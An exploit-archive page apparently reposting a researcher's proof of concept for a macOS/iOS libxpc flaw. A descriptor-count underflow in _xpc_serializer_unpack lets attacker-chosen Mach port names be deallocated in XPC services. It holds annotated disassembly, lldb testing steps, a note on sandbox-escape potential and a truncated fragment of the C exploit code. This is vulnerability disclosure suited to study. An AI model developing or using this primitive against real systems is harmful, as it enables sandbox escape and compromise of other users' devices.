Macos < 10.14.3 / ios < 12.1.3 arbitrary mach port name deallocation in xpc services due to invalid mach message parsing in _xpc_serializer_unpack Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-01-31 |
Type : dos |
Platform : multiple
This exploit / vulnerability Macos < 10.14.3 / ios < 12.1.3 arbitrary mach port name deallocation in xpc services due to invalid mach message parsing in _xpc_serializer_unpack is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F mov rax, rbx
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
__text:0000000000007049 mov ecx, 0FF000000h
__text:000000000000704E and ecx, [rax+24h]
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
__text:0000000000007057 jnz short loc_7089
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
__text:0000000000007062 mov r9, [rbx] ; save the address field
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
__text:0000000000007069 lea rax, __xpc_serializer_munmap
__text:0000000000007070 mov [r12+48h], rax
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
__text:0000000000007082 mov eax, 2Ch ; ','
__text:0000000000007087 jmp short loc_7094
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
Still, it would be a nice sandbox escape on MacOS.
Tested on MacOS 10.14.1 (18B75)
*/
// ianbeer
#if 0
Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F mov rax, rbx
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
__text:0000000000007049 mov ecx, 0FF000000h
__text:000000000000704E and ecx, [rax+24h]
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
__text:0000000000007057 jnz short loc_7089
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
__text:0000000000007062 mov r9, [rbx] ; save the address field
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
__text:0000000000007069 lea rax, __xpc_serializer_munmap
__text:0000000000007070 mov [r12+48h], rax
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
__text:0000000000007082 mov eax, 2Ch ; ','
__text:0000000000007087 jmp short loc_7094
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
Still, it would be a nice sandbox escape on MacOS.
static int
xpc_checkin(
mach_port_t service_port,
mach_port_t* client_port,
mach_port_t* reply_port)
{
// allocate the client and reply port:
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
msg.client_port.name = *client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
Tags:
Macos < 10.14.3 / ios < 12.1.3 arbitrary mach port name deallocation in xpc services due to invalid mach message parsing in _xpc_serializer_unpack Vulnerability / Exploit